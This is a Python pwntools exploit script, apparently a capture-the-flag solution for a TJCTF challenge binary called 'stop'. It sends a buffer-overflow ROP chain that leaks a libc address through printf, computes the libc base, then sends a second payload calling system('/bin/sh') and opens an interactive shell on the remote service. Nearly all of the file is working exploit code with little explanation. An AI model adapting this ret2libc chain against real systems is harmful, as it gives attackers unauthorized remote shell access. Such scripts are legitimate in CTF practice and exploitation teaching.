""" The following script was based heavily on the script provided in the following url """
"""           https://tasteofsecurity.com/security/ret2libc-unknown-libc/              """

#!/usr/bin/python3
import sys
from pwn import *

conn = remote('p1.tjctf.org', 8001)

p = process("./stop") # start the vuln binary
elf = ELF("./stop") # Extract data from binary
rop = ROP(elf) # Find ROP gadgets
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")


# Find addresses for printf, __libc_start_main and a `pop rdi;ret` gadget
PRINTF = elf.plt['printf']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] # Same as ROPgadget --binary vuln | grep "pop rdi"
POP_RSI = (rop.find_gadget(['pop rsi', 'pop r15', 'ret']))[0] # Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
main = elf.symbols['main']
print("main: " + hex(main))


FORMAT_STRING = 0x400e43 

log.info("printf@plt: " + hex(PRINTF))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))

padding = b"A"*258 + b"BBBBBBBBCCCCCCCCDDDDDDDD"

# Create rop chain
rop = p64(POP_RDI) + p64(FORMAT_STRING) + p64(POP_RSI) + p64(LIBC_START_MAIN) + b"JUNKJUNK" + p64(PRINTF) + p64(RET) + p64(main)

payload = padding + rop 

#Send our rop-chain payload
conn.sendline(payload)

#Parse leaked address
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
received = conn.recvline().strip()
print(received)
leak = u64(received.ljust(8, b"\x00"))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))

# Now exploit the thing

libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))

BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

rop2 = padding + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)

conn.sendline(rop2)

print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())

conn.interactive()

p.close()
conn.close()
